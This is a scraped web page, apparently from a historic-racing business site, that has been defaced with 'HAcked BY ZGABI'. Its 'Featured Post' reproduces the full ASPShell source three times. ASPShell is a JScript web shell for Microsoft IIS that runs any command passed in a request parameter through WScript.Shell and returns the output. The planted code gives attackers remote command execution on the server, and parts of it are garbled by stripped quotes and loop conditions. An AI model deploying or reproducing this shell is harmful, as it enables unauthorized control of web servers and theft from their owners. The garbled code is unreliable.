<% /* ASPShell - web based shell for Microsoft IIS Copyright (C) 2007 Kurt Hanner This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA http://aspshell.sourceforge.net */ var version = "0.2 (beta) [2007-09-29]"; var homepagelink = "http://aspshell.sourceforge.net"; var q = Request("q")(); var cd = Request("cd")(); if (q) { var command = ""; var output = ""; if (q.length == 0) { q = ":"; } command = "" + q; if (command == "?") { output = " ? this help page " + " :sv all server variables " + " execute any shell command "; } else if (command.toLowerCase() == ":sv") { var sv = ""; var svvalue = ""; var esv = new Enumerator(Request.ServerVariables); for (; !esv.atEnd(); esv.moveNext()) { sv = esv.item(); output += sv; output += ": "; svvalue = "" + Request.ServerVariables(sv); if (svvalue.indexOf(" ") >= 0) { output += " "; var svitems = svvalue.split(" "); for (var i=0; i 0) { output += " "; output += svitems[i]; output += " "; } } } else { output += svvalue; output += " "; } } } else if (command.toLowerCase() == ":cd") { var fso = new ActiveXObject("Scripting.FileSystemObject"); output = fso.GetAbsolutePathName("."); } else if (/^:checkdirs(.*)?$/i.test(command)) { var newdirabs = ""; var newdir = RegExp.$1; var fso = new ActiveXObject("Scripting.FileSystemObject"); var cdnorm = fso.GetFolder(cd).Path; if (/^\/i.test(newdir)) { newdirabs = fso.GetFolder(cd).Drive + newdir; } else if (/^w:/i.test(newdir)) { newdirabs = fso.GetAbsolutePathName(newdir); } else { newdirabs = fso.GetAbsolutePathName(fso.GetFolder(cd).Path + "\" + newdir); } output = fso.FolderExists(newdirabs) ? newdirabs : "fail"; } else { var changedir = ""; var currdrive = ""; var currpath = ""; var colonpos = cd.indexOf(":"); if (colonpos >= 0) { currdrive = cd.substr(0, colonpos+1); currpath = cd.substr(colonpos+1); changedir = currdrive + " && cd "" + currpath + "" && "; } var shell = new ActiveXObject("WScript.Shell"); var pipe = shell.Exec("%comspec% /c "" + changedir + command + """); output = pipe.StdOut.ReadAll() + pipe.StdErr.ReadAll(); } Response.Write(output); } else { var fso = new ActiveXObject("Scripting.FileSystemObject"); var currentpath = fso.GetAbsolutePathName("."); var currentdrive = fso.GetDrive(fso.GetDriveName(currentpath)); var drivepath = currentdrive.Path; %> Web Shell
ASPShell - Web-based Shell Environment Version <%=version%>
Copyright (c) 2007 Kurt Hanner, <%=homepagelink%>

<% } %> " />

KEEPING THE SPIRIT ALIVE SINCE 1999

HAcked BY ZGABI

Featured Post
12-Mar-21/historicracing.com/

<%@ Language = "JScript" %> <% /* ASPShell - web based shell for Microsoft IIS Copyright (C) 2007 Kurt Hanner This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA http://aspshell.sourceforge.net */ var version = "0.2 (beta) [2007-09-29]"; var homepagelink = "http://aspshell.sourceforge.net"; var q = Request("q")(); var cd = Request("cd")(); if (q) { var command = ""; var output = ""; if (q.length == 0) { q = ":"; } command = "" + q; if (command == "?") { output = " ? this help page " + " :sv all server variables " + " execute any shell command "; } else if (command.toLowerCase() == ":sv") { var sv = ""; var svvalue = ""; var esv = new Enumerator(Request.ServerVariables); for (; !esv.atEnd(); esv.moveNext()) { sv = esv.item(); output += sv; output += ": "; svvalue = "" + Request.ServerVariables(sv); if (svvalue.indexOf(" ") >= 0) { output += " "; var svitems = svvalue.split(" "); for (var i=0; i 0) { output += " "; output += svitems[i]; output += " "; } } } else { output += svvalue; output += " "; } } } else if (command.toLowerCase() == ":cd") { var fso = new ActiveXObject("Scripting.FileSystemObject"); output = fso.GetAbsolutePathName("."); } else if (/^:checkdirs(.*)?$/i.test(command)) { var newdirabs = ""; var newdir = RegExp.$1; var fso = new ActiveXObject("Scripting.FileSystemObject"); var cdnorm = fso.GetFolder(cd).Path; if (/^\/i.test(newdir)) { newdirabs = fso.GetFolder(cd).Drive + newdir; } else if (/^w:/i.test(newdir)) { newdirabs = fso.GetAbsolutePathName(newdir); } else { newdirabs = fso.GetAbsolutePathName(fso.GetFolder(cd).Path + "\" + newdir); } output = fso.FolderExists(newdirabs) ? newdirabs : "fail"; } else { var changedir = ""; var currdrive = ""; var currpath = ""; var colonpos = cd.indexOf(":"); if (colonpos >= 0) { currdrive = cd.substr(0, colonpos+1); currpath = cd.substr(colonpos+1); changedir = currdrive + " && cd "" + currpath + "" && "; } var shell = new ActiveXObject("WScript.Shell"); var pipe = shell.Exec("%comspec% /c "" + changedir + command + """); output = pipe.StdOut.ReadAll() + pipe.StdErr.ReadAll(); } Response.Write(output); } else { var fso = new ActiveXObject("Scripting.FileSystemObject"); var currentpath = fso.GetAbsolutePathName("."); var currentdrive = fso.GetDrive(fso.GetDriveName(currentpath)); var drivepath = currentdrive.Path; %> Web Shell

ASPShell - Web-based Shell Environment Version <%=version%>
Copyright (c) 2007 Kurt Hanner, <%=homepagelink%>

<% } %>

<%@ Language = "JScript" %> <% /* ASPShell - web based shell for Microsoft IIS Copyright (C) 2007 Kurt Hanner This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA http://aspshell.sourceforge.net */ var version = "0.2 (beta) [2007-09-29]"; var homepagelink = "http://aspshell.sourceforge.net"; var q = Request("q")(); var cd = Request("cd")(); if (q) { var command = ""; var output = ""; if (q.length == 0) { q = ":"; } command = "" + q; if (command == "?") { output = " ? this help page " + " :sv all server variables " + " execute any shell command "; } else if (command.toLowerCase() == ":sv") { var sv = ""; var svvalue = ""; var esv = new Enumerator(Request.ServerVariables); for (; !esv.atEnd(); esv.moveNext()) { sv = esv.item(); output += sv; output += ": "; svvalue = "" + Request.ServerVariables(sv); if (svvalue.indexOf(" ") >= 0) { output += " "; var svitems = svvalue.split(" "); for (var i=0; i 0) { output += " "; output += svitems[i]; output += " "; } } } else { output += svvalue; output += " "; } } } else if (command.toLowerCase() == ":cd") { var fso = new ActiveXObject("Scripting.FileSystemObject"); output = fso.GetAbsolutePathName("."); } else if (/^:checkdirs(.*)?$/i.test(command)) { var newdirabs = ""; var newdir = RegExp.$1; var fso = new ActiveXObject("Scripting.FileSystemObject"); var cdnorm = fso.GetFolder(cd).Path; if (/^\/i.test(newdir)) { newdirabs = fso.GetFolder(cd).Drive + newdir; } else if (/^w:/i.test(newdir)) { newdirabs = fso.GetAbsolutePathName(newdir); } else { newdirabs = fso.GetAbsolutePathName(fso.GetFolder(cd).Path + "\" + newdir); } output = fso.FolderExists(newdirabs) ? newdirabs : "fail"; } else { var changedir = ""; var currdrive = ""; var currpath = ""; var colonpos = cd.indexOf(":"); if (colonpos >= 0) { currdrive = cd.substr(0, colonpos+1); currpath = cd.substr(colonpos+1); changedir = currdrive + " && cd "" + currpath + "" && "; } var shell = new ActiveXObject("WScript.Shell"); var pipe = shell.Exec("%comspec% /c "" + changedir + command + """); output = pipe.StdOut.ReadAll() + pipe.StdErr.ReadAll(); } Response.Write(output); } else { var fso = new ActiveXObject("Scripting.FileSystemObject"); var currentpath = fso.GetAbsolutePathName("."); var currentdrive = fso.GetDrive(fso.GetDriveName(currentpath)); var drivepath = currentdrive.Path; %> Web Shell

ASPShell - Web-based Shell Environment Version <%=version%>
Copyright (c) 2007 Kurt Hanner, <%=homepagelink%>

<% } %>


Comments/ 0


Leave a Comment

Other Posts By historicracing.com

Recent posts
Scuderia Moda Ltd
71-75 Shelton Street,
London WC2H 9J

The Studio Barn
Manor Farm,
Common Road
Eton Wick
Windsor
Berkshire SL4 6QY
07967 829 610
info@scuderiamoda.com

Navigate

Recent Tweets